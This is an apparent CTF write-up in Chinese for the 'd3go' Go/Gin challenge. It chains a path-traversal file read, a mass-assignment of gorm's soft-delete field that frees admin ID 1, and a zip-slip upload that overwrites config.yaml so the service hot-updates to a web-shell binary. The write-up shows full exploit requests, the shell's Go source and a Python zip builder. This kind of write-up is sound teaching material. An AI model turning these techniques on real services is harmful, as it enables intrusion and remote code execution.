func CheckAuth(u *model.User) (bool, error) {
if err := db.Where("username = ? AND password = ?", u.Username, u.Password).First(&u).Error; err != nil {
if errors.Is(err, gorm.ErrRecordNotFound) {
return false, nil
}
log.WithField("user", u).Error(err)
return false, ErrDatabase
}
return true, nil
}

func IsFirstRegistered() (bool, error) {
if err := db.First(&model.User{}).Error; err != nil {
if errors.Is(e rr, gorm.ErrRecordNotFound) {
return true, nil
}
log.WithField("user", model.User{}).Error(err)
return false, ErrDatabase
}
return false, nil
}


auth.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package auth

import (
"d3go/config"
"d3go/db"
"d3go/model"
)

const (
UnAuthed int = iota - 1
User
Admin
)

func Login(u *model.User) (int, error) {
ok, err := db.CheckAuth(u)
if !ok || err != nil {
return UnAuthed, err
}
if config.Conf.NoAdminLogin && u.ID == 1 {
return UnAuthed, nil
}
if db.IsAdmin(u) {
return Admin, nil
}
return User, nil
}

func Register(u *model.User) error {
return db.AddUser(u)
}

稍微审一下题,首先在main.go有这么一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func ServeFile(c *gin.Context) {
// unzipped file server
p := c.Param("filepath")
if strings.HasPrefix(p, "/unzipped") {
if len(p) == 9 {
p = "/"
} else {
p = p[9:]
}
c.FileFromFS(p, http.Dir("./unzipped"))
return
}
// embed static file server
p = "/static/" + c.Param("filepath")
c.FileFromFS(p, http.FS(Static))
return
}

这一段对静态文件做了些处理,他直接就没对../进行处理,导致我们可以任意目录穿越,也就是一开始我们任意文件读取,读取完后再注意一下controller里的这一段

1
2
3
4
5
6
7
8
9
10
func Login(c *gin.Context) {
u := &model.User{}
err := c.ShouldBindJSON(u)
if err != nil {
c.JSON(200, Resp{
StatusCode: -1,
StatusMsg: ErrFormatError,
})
return
}

U7WV87(ED9XO{2P4R9N4(BF.png
然后对应的user.go如上,是一个struct,但是里面有一个字段需要注意
![)L]~$EBAQX9G3{RFKU8G)@E.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1683383481358-df447d77-27f4-4b9b-b3a0-d8ef9e72017e.png#averageHue=%23ededf0&clientId=u31872ce4-acca-4&from=paste&height=703&id=u1fcf2a3e&originHeight=703&originWidth=1495&originalType=binary&ratio=1&rotation=0&showTitle=false&size=24190&status=done&style=none&taskId=u67bb81a6-1dd1-452f-8dbc-2f7448d622b&title=&width=1495)
给了 gorm.model 就说明自带deletedat字段,也就是有软删除这么一说,软删除也就是非实际删除数据库数据,而是单纯无法查询出来。结合一下上面的源码,我们的目的是以admin登录然后去上传zip文件,因此我们应该软链接先删除一下admin:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /login HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 37
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/

{"id":1,"deletedat":"2011-01-01T11:11:11Z","createdat":"2011-01-01T11:11:11Z"}

然后再创建一个用户

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /login HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 37
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/

{"username":"test","password":"test"}

之后登录test就是管理员了,因为代码里的逻辑是ID为1的用户就是管理员,那么接下来就好说了,由题目中config.go和main.go可以得知实现了热部署

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
func main() {
config.Init()
db.Init()
if config.Conf.AutoUpdate {
log.Printf("Auto update enabled")
err := overseer.RunErr(overseer.Config{
Program: prog,
Address: ":8080",
Fetcher: &config.Fetch,
})
if err != nil {
log.Fatalln(err)
}
} else {
r := gin.Default()
InitRouter(r)
if err := r.Run(":8080"); err != nil {
log.Fatal(err)
}
}
}

那么我们就好说了,我们可以覆盖config.yaml实现自更新,以下是chatgpt问答
image.png
image.pngimage.pngimage.png
上述回答并不完全正确,但是可以知道大致的逻辑
经过简单的拷打可以发现,我们只需要让url指向一个编译过后的go二进制文件就好了,在docker里我们正常看是这样的:
image.png
有一个d3go的二进制文件,我们需要做的就是热部署更新这个二进制文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package main

import (
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
"log"
"os/exec"
)

func main() {
overseer.Run(overseer.Config{
Program: prog,
Address: ":8080",
})
}

func prog(state overseer.State) {
r := gin.Default()
r.POST("/shell", func(c *gin.Context) {
output, err := exec.Command("/bin/bash", "-c", c.PostForm("cmd")).CombinedOutput()
if err != nil {
c.String(500, err.Error())
}
c.String(200, string(output))
})
if err := r.RunListener(state.Listener); err != nil {
log.Fatal(err)
}
}

这就是恶意的go文件,把他编译为二进制文件后,还需要准备一个yaml文件

1
2
3
4
5
6
7
8
9
10
11
12
server:
noAdminLogin: true
database:
user: root
password: root
host: 127.0.0.1
port: 3306
update:
enabled: true
url: http://127.0.0.1:8080/unzipped/shell
interval: 1

之后利用zipslip去覆盖文件,因为题目并没有对unzip做处理,所以可以进行任意文件覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
import zipfile

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("exp.zip", "a", zipfile.ZIP_DEFLATED) ##生成的zip文件
info = zipfile.ZipInfo("exp.zip")
zipFile.write("E:\\CTFLearning\\d3ctf\\d3go\\trueexp\\shell\\config.yaml", "../../config.yaml", zipfile.ZIP_DEFLATED) ##压缩的文件和在zip中显示的文件名
zipFile.write("./shell", "../shell", zipfile.ZIP_DEFLATED) ##压缩的文件和在zip中显示的文件名
zipFile.close()
except IOError as e:
raise e

zip文件用如上脚本生成,然后上传到服务器后就可以rce了。
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp